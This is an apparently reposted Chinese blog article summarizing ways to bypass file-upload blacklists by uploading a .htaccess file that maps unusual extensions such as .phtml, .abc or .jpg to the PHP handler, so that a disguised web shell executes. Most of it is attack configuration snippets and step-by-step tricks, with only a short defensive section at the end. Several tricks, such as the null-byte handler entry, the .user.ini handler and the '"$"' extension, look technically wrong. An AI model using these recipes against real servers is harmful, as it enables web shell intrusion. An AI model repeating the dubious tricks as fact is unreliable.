当前位置: 首页 > news >正文

.htaccess 文件上传漏洞绕过总结

.htaccess 文件上传漏洞绕过总结

核心原理

通过 .htaccess 文件修改服务器配置,将非常规扩展名解析为可执行脚本(如 PHP),绕过文件上传黑名单限制。


一、关键配置指令(图片内容分析)

图片中列出的扩展名MIME 类型可直接用于绕过:

# 将扩展名映射到 PHP 解析器
AddHandler application/x-httpd-php .rhtml .phtml .pht .phps .php3 .php3p .php4 .php5# 或使用 AddType
AddType application/x-httpd-php .phtml .php3 .phps

二、扩展绕过技巧(实战增强)

1. 非常规扩展名
AddHandler application/x-httpd-php .abc .xyz .shell .test

效果:上传 shell.abc 会被当作 PHP 执行。

2. 双扩展名绕过
AddHandler application/x-httpd-php .jpg.xyz

效果image.jpg.xyz 会被解析为 PHP。

3. 空字节截断(旧系统)
AddHandler application/x-httpd-php .php%00

效果:上传 shell.php%00.jpg 可能被解析为 PHP(需 PHP<5.3)。

4. 大小写混淆
AddHandler application/x-httpd-php .PhP5 .pHtML

效果:绕过对 php 的大小写检查。

5. 特殊前缀/后缀
AddHandler application/x-httpd-php .user.ini

效果:利用 .user.iniauto_prepend_file 执行代码。


三、MIME 类型绕过

# 伪造图片 MIME 类型
AddType application/x-httpd-php .jpg .png# 或直接覆盖默认类型
RemoveHandler .jpg
AddHandler application/x-httpd-php .jpg

四、高级组合技

1. 嵌套解析绕过
<FilesMatch "\.hack$">SetHandler application/x-httpd-php
</FilesMatch>

效果:所有 .hack 文件被解析为 PHP。

2. 动态扩展名
AddHandler application/x-httpd-php ."$"

效果:利用环境变量动态生成扩展名(需服务器支持)。


五、防御建议(管理员视角)

  1. 禁用 .htaccess 覆盖

    AllowOverride None
    
  2. 限制上传目录执行权限

    <Directory "/uploads">php_flag engine off
    </Directory>
    
  3. 严格文件类型检查

    • 使用白名单验证扩展名 + MIME 类型 + 文件头签名。

总结流程图

上传 .htaccess 文件│├── 添加恶意扩展名(.phtml, .php5)│├── 伪造 MIME 类型(image/jpg → PHP)│└── 上传伪装文件(shell.jpg.php5)│└── 服务器解析执行

通过灵活组合扩展名、MIME 类型和服务器配置规则,可绕过大多数基于黑名单的文件上传防护。

http://www.lryc.cn/news/614964.html

相关文章:

  • springBoot集成easyExcel 实现文件上传
  • linux安装php
  • 模板引擎art-template
  • 深入剖析Spring MVC核心原理:从请求到响应的魔法解密
  • AI 算法优化实战指南:从理论到部署的全流程优化策略
  • K-means聚类学习:原理、实践与API解析
  • 从反射到方法句柄:深入探索Java动态编程的终极解决方案
  • 从零玩转Linux云主机:免费申请、连接终端、命令速查表
  • 灾后食物能源协调供应优化模型
  • 《算法导论》第 15 章 - 动态规划
  • 基于开源AI大模型、AI智能名片与S2B2C商城小程序的学习型社群构建与运营模式创新研究
  • rem:CSS中的相对长度单位
  • IntelliJ IDEA 新手全方位使用指南
  • 网站站长如何借助php推送示例提交网站内容加速百度收录?
  • webwork的学习
  • 7天精通Coze智能体实操手册(Day 1)
  • Go语言实战案例:表单提交数据解析
  • Express中间件和路由及响应方法
  • golang的二维数组
  • vulnhub-Beelzebub靶场通关攻略
  • Nginx 功能扩展与二次开发实践
  • 目标检测数据集 - 无人机检测数据集下载「包含COCO、YOLO两种格式」
  • 1.JavaScript 介绍
  • 130Kw双向储能PCS电源及关键技术分析
  • 彻底解决vscode中fnm调用失败的问题
  • 嵌入式 Linux Mender OTA 实战全指南
  • Microsoft 365中的Message Encryption (Basic)功能深度解析
  • 【JVM】深入解析Java虚拟机
  • Vitalik谈以太坊:ETH财库储备策略“有益且有价值”
  • Jmeter性能测试之安装及启动Jmeter